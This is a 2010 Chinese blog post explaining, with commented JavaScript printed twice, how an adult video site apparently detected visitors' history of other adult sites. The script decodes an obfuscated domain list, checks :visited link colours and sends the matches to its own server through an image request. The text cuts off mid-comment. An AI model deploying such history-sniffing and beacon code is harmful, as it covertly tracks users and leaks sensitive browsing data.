悄悄用腳本檢查你訪問過哪些網(wǎng)站的代碼
更新時(shí)間:2010年12月04日 22:14:15 作者:
YouPorn是YouTube的成人自拍版,Alexa排名61。如果你登陸YouPorn主頁(yè),它會(huì)悄悄用腳本檢查你訪問過哪些色情網(wǎng)站。
打開它的“頁(yè)面源文件”,你能找到一段加密過的JS腳本:
function ypol(){
//K是一個(gè)對(duì)象,實(shí)際上是一個(gè)數(shù)組。存了一堆加密過的pr*n站鏈接。
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"};
var g=[];
for(var m in k){
var d=k[m]; //遍歷k中的元素賦值給d
var a="";
for(var f=0;f<d.length;f++){
a+=String.fromCharCode(d.charCodeAt(f)-1);
}/* 這里把d中的每一條字符都還原了。
* charCodeAt(char) 函數(shù)返回char的ascii碼
* String.fromCharCode(asccii) 返回ascii碼對(duì)應(yīng)的字符
* 然后把結(jié)果賦值給a
* 比如第一次循環(huán),a的值就是 qpsoivc/dpn -> pornhub.com
*/
var h=false;
/*
* 這個(gè)循環(huán)創(chuàng)建A對(duì)象并讓鏈接賦值為 http://a/ 和 http://www.a/
* 為什么要循環(huán)來2次,目的是為了準(zhǔn)確性
* 訪問 http://example.com/ 和 http://www.example.com/ 對(duì)于瀏覽器來說,是不同的域名
* 所以要區(qū)別對(duì)待
*/
for(var j in {"http://":"","http://www.":""}){
var l=document.createElement("a"); //創(chuàng)建一個(gè)A對(duì)象
l.href=j+a;
document.getElementById("ol").appendChild(l);
// A對(duì)象附加給一個(gè)id為ol的元素上,要附加在一個(gè)在DOM樹上的元素,瀏覽器才會(huì)render這個(gè)元素,并設(shè)置合適的CSS
var e="";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; //取IE中A對(duì)象的顏色
}else {
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
//取其他標(biāo)準(zhǔn)瀏覽器的顏色
}
if(e=="#0c2238"||e=="#0c2238"){
/*
* 如果是紫色,就表示訪問過此站點(diǎn)。
* 瀏覽器默認(rèn)給訪問過的鏈接標(biāo)記為紫色
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //如果訪問過,把站點(diǎn)加入列表g
g.push(m);
}
}
var b=(g instanceof Array)?g.join(","):""; //把g由數(shù)組變成字符串
var c=document.createElement("img"); //建立一個(gè)img對(duì)象
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服務(wù)器上的一幅圖像,關(guān)鍵是附帶上了g數(shù)組的值
document.getElementById("ol").appendChild(c); //加入DOM樹,理由跟前面的A一樣
/*
* 以一次圖片訪問,在web-server
復(fù)制代碼 代碼如下:
function ypol(){
//K是一個(gè)對(duì)象,實(shí)際上是一個(gè)數(shù)組。存了一堆加密過的pr*n站鏈接。
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"};
var g=[];
for(var m in k){
var d=k[m]; //遍歷k中的元素賦值給d
var a="";
for(var f=0;f<d.length;f++){
a+=String.fromCharCode(d.charCodeAt(f)-1);
}/* 這里把d中的每一條字符都還原了。
* charCodeAt(char) 函數(shù)返回char的ascii碼
* String.fromCharCode(asccii) 返回ascii碼對(duì)應(yīng)的字符
* 然后把結(jié)果賦值給a
* 比如第一次循環(huán),a的值就是 qpsoivc/dpn -> pornhub.com
*/
var h=false;
/*
* 這個(gè)循環(huán)創(chuàng)建A對(duì)象并讓鏈接賦值為 http://a/ 和 http://www.a/
* 為什么要循環(huán)來2次,目的是為了準(zhǔn)確性
* 訪問 http://example.com/ 和 http://www.example.com/ 對(duì)于瀏覽器來說,是不同的域名
* 所以要區(qū)別對(duì)待
*/
for(var j in {"http://":"","http://www.":""}){
var l=document.createElement("a"); //創(chuàng)建一個(gè)A對(duì)象
l.href=j+a;
document.getElementById("ol").appendChild(l);
// A對(duì)象附加給一個(gè)id為ol的元素上,要附加在一個(gè)在DOM樹上的元素,瀏覽器才會(huì)render這個(gè)元素,并設(shè)置合適的CSS
var e="";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; //取IE中A對(duì)象的顏色
}else {
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
//取其他標(biāo)準(zhǔn)瀏覽器的顏色
}
if(e=="#0c2238"||e=="#0c2238"){
/*
* 如果是紫色,就表示訪問過此站點(diǎn)。
* 瀏覽器默認(rèn)給訪問過的鏈接標(biāo)記為紫色
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //如果訪問過,把站點(diǎn)加入列表g
g.push(m);
}
}
var b=(g instanceof Array)?g.join(","):""; //把g由數(shù)組變成字符串
var c=document.createElement("img"); //建立一個(gè)img對(duì)象
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服務(wù)器上的一幅圖像,關(guān)鍵是附帶上了g數(shù)組的值
document.getElementById("ol").appendChild(c); //加入DOM樹,理由跟前面的A一樣
/*
* 以一次圖片訪問,在web-server
相關(guān)文章
JS實(shí)現(xiàn)間歇滾動(dòng)的運(yùn)動(dòng)效果實(shí)例
這篇文章主要介紹了JS實(shí)現(xiàn)間歇滾動(dòng)的運(yùn)動(dòng)效果,涉及javascript定時(shí)器觸發(fā)動(dòng)態(tài)改變頁(yè)面元素的相關(guān)操作技巧,需要的朋友可以參考下2016-12-12
使用JavaScript實(shí)現(xiàn)貪吃蛇游戲
這篇文章主要為大家詳細(xì)介紹了使用JavaScript實(shí)現(xiàn)貪吃蛇游戲,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2020-09-09
layui的layer.confirm如何獲取按鈕焦點(diǎn)
因?yàn)閍yer.confirm的按鈕并非采用button,而是a標(biāo)簽,所以獲取按鈕焦點(diǎn)獲取不到,要采用別的方法,下面介紹在ie11中和ie8中不同的寫法,對(duì)layui layer.confirm獲取按鈕焦點(diǎn)相關(guān)知識(shí)感興趣的朋友一起看看吧2023-11-11
JS獲取數(shù)組最大值、最小值及長(zhǎng)度的方法
這篇文章主要介紹了JS獲取數(shù)組最大值、最小值及長(zhǎng)度的方法,涉及JavaScript遍歷數(shù)組及l(fā)ength屬性的相關(guān)使用技巧,非常簡(jiǎn)潔實(shí)用,需要的朋友可以參考下2015-11-11
JS 實(shí)現(xiàn)列表與多選框選擇附預(yù)覽動(dòng)畫
本節(jié)為大家介紹的是用JS實(shí)現(xiàn)列表與多選框選擇,并附gif演示動(dòng)畫,這個(gè)例子很詳細(xì),大家可以看看2014-10-10
Echarts?3D散點(diǎn)圖實(shí)戰(zhàn)案例
這篇文章主要給大家介紹了關(guān)于Echarts?3D散點(diǎn)圖的相關(guān)資料, Echarts散點(diǎn)圖是一種常用的數(shù)據(jù)可視化圖表類型,用于展示兩個(gè)或多個(gè)維度的數(shù)據(jù)分布情況,需要的朋友可以參考下2023-11-11

